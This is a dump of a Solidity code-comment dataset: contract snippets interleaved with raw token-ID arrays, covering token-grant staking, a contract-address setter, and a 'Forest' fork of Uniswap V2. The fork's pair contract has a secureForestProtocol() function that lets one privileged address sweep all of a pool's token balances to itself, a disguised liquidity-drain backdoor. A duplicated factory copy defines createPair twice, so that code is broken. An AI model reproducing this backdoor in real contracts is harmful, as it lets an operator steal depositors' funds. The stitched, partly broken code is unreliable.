record. TokenGrantStake grantStake = new TokenGrantStake( address(token), _id, _stakingContract ); grantStakes[operator] = grantStake; granteesToOperators[grants[_id].grantee].push(operator); grants[_id].staked += _amount; token.transfer(address(grantStake), _amount); // Staking contract expects 40 bytes _extraData for stake delegation. // 20 bytes magpie's address + 20 bytes operator's address. grantStake.stake(_amount, _extraData); emit TokenGrantStaked(_id, _amount, operator); } /** @notice Returns the amount of tokens available for staking from the grant. It's the amount of granted tokens minus those released and already staked. @param _grantId Identifier of the grant */ function availableToStake(uint256 _grantId) public view returns (uint256) { Grant storage grant = grants[_grantId]; uint256 amount = grant.amount; uint256 withdrawn = grant.withdrawn; uint256 remaining = amount.sub(withdrawn); uint256 stakeable = grant.stakingPolicy.getStakeableAmount( now, amount, grant.duration, grant.start, grant.cliff, withdrawn ); // Clamp the stakeable amount to what is left in the grant // in the case of a malfunctioning staking policy. if (stakeable > remaining) { stakeable = remaining; } return stakeable.sub(grant.staked); } /** * @notice Cancels delegation within the operator initialization period * without being subjected to the stake lockup for the undelegation period. * This can be used to undo mistaken delegation to the wrong operator address. * @param _operator Address of the stake operator. */ function cancelStake(address _operator) public { TokenGrantStake grantStake = grantStakes[_operator]; uint256 grantId = grantStake.getGrantId(); require( msg.sender == _operator || msg.sender == grants[grantId].grantee, "Only operator or grantee can cancel the delegation." ); uint256 returned = grantStake.cancelStake(); grants[grantId].staked = grants[grantId].staked.sub(returned); } /** * @notice Undelegate the token grant. * @param _operator Operator of the stake. */ function undelegate(address _operator) public { TokenGrantStake grantStake = grantStakes[_operator]; uint256 grantId = grantStake.getGrantId(); require( msg.sender == _operator || msg.sender == grants[grantId].grantee, "Only operator or grantee can undelegate." ); grantStake.undelegate(); } /** * @notice Recover stake of the token grant. * Recovers the tokens correctly * even if they were earlier recovered directly in the staking contract. * @param _operator Operator of the stake. */ function recoverStake(address _operator) public { TokenGrantStake grantStake = grantStakes[_operator]; uint256 returned = grantStake.recoverStake(); uint256 grantId = grantStake.getGrantId(); grants[grantId].staked = grants[grantId].staked.sub(returned); delete grantStakes[_operator]; } }
The number of tokens returned to the grant creator.
uint256 revokedAmount;
1,089,658
[ 1, 1986, 1300, 434, 2430, 2106, 358, 326, 7936, 11784, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 22919, 6275, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IForestV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } pragma solidity =0.6.12; library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } pragma solidity =0.6.12; contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'Forest Warrior LP Token'; string public constant symbol = 'FWLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } pragma solidity =0.6.12; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } pragma solidity =0.6.12; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/uniswapv2/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function secureForestProtocol() external; } pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } pragma solidity =0.6.12; interface IMigrator { // Return the desired amount of liquidity token that the migrator wants. function desiredLiquidity() external view returns (uint256); } contract UniswapV2Pair is UniswapV2ERC20 { using SafeMathUniswap for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; address public secureProtocol; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1, address _secureProtocolAddress) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; secureProtocol = _secureProtocolAddress; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IForestV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20Uniswap(token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { address migrator = IForestV2Factory(factory).migrator(); if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity"); } else { require(migrator == address(0), "Must not have migrator"); liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } function secureForestProtocol() external { require(msg.sender == secureProtocol, "Invalid operation"); _safeTransfer(token0, secureProtocol, IERC20Uniswap(token0).balanceOf(address(this))); _safeTransfer(token1, secureProtocol, IERC20Uniswap(token1).balanceOf(address(this))); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1); } } pragma solidity =0.6.12; // UniswapV2Router02 is a fork From Uniswap Factory. See the contract audit https://uniswap.org/audit.html contract ForestV2Factory is IForestV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; address private secureProtocol; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter, address _secureProtocol) public { feeToSetter = _feeToSetter; secureProtocol = _secureProtocol; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1, secureProtocol); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
UniswapV2Router02 is a fork From Uniswap Factory. See the contract audit https:uniswap.org/audit.html
contract ForestV2Factory is IForestV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; address private secureProtocol; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter, address _secureProtocol) public { feeToSetter = _feeToSetter; secureProtocol = _secureProtocol; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1, secureProtocol); getPair[token0][token1] = pair; allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1, secureProtocol); getPair[token0][token1] = pair; allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
1,185,520
[ 1, 984, 291, 91, 438, 58, 22, 8259, 3103, 353, 279, 12515, 6338, 1351, 291, 91, 438, 7822, 18, 2164, 326, 6835, 8215, 2333, 30, 318, 291, 91, 438, 18, 3341, 19, 17413, 18, 2620, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 17605, 334, 58, 22, 1733, 353, 11083, 479, 334, 58, 22, 1733, 288, 203, 565, 1758, 1071, 3849, 14036, 774, 31, 203, 565, 1758, 1071, 3849, 14036, 774, 8465, 31, 203, 565, 1758, 1071, 3849, 30188, 31, 203, 565, 1758, 3238, 8177, 5752, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 1758, 3719, 1071, 3849, 1689, 1826, 31, 203, 565, 1758, 8526, 1071, 3849, 777, 10409, 31, 203, 203, 565, 871, 8599, 6119, 12, 2867, 8808, 1147, 20, 16, 1758, 8808, 1147, 21, 16, 1758, 3082, 16, 2254, 1769, 203, 203, 565, 3885, 12, 2867, 389, 21386, 774, 8465, 16, 1758, 389, 8869, 5752, 13, 1071, 288, 203, 3639, 14036, 774, 8465, 273, 389, 21386, 774, 8465, 31, 203, 3639, 8177, 5752, 273, 389, 8869, 5752, 31, 203, 565, 289, 203, 203, 565, 445, 777, 10409, 1782, 1435, 3903, 3849, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 327, 777, 10409, 18, 2469, 31, 203, 565, 289, 203, 203, 565, 445, 3082, 1085, 2310, 1435, 3903, 16618, 1135, 261, 3890, 1578, 13, 288, 203, 3639, 327, 417, 24410, 581, 5034, 12, 723, 12, 984, 291, 91, 438, 58, 22, 4154, 2934, 17169, 1085, 1769, 203, 565, 289, 203, 203, 565, 445, 752, 4154, 12, 2867, 1147, 37, 16, 1758, 1147, 38, 13, 3903, 3849, 1135, 261, 2867, 3082, 13, 288, 203, 3639, 2583, 12, 2316, 37, 480, 1147, 38, 16, 296, 984, 291, 91, 438, 58, 22, 30, 19768, 10109, 67, 8355, 7031, 1090, 55, 8284, 203, 3639, 261, 2 ]
pragma solidity ^0.4.20; import './levelinterface.sol'; // Import LevelInterface contract. import './datainterface.sol'; // Import DataInterface contract. import './ownable.sol'; // Import Ownable contract. contract Communication is DataInterface, LevelInterface, Ownable { LevelInterface internal lvlint; // LevelInterface contract. DataInterface internal dtint; // DataInterfaceContract. address internal levelContractAddress; // Address to access to the Level contract. address internal dataContractAddress; // Address to access to the Data contract. /** * @param _address - Address - the levelContractAddress to set. */ function setLevelContract( address _address ) public onlyOwner { levelContractAddress = _address; lvlint = LevelInterface( levelContractAddress ); } /** * @return Address - the levelContractAddress. */ function getLevelContract() public constant onlyOwner returns ( address ) { return levelContractAddress; } /** * @param _address - Address - the dataContractAddress to set. */ function setDataContract( address _address ) public onlyOwner { dataContractAddress = _address; dtint = DataInterface(dataContractAddress); } /** * @return Address - the dataContractAddress. */ function getDataContract() public constant onlyOwner returns ( address ) { return dataContractAddress; } }
Address to access to the Data contract.
address internal dataContractAddress;
15,858,531
[ 1, 1887, 358, 2006, 358, 326, 1910, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 2713, 501, 8924, 1887, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 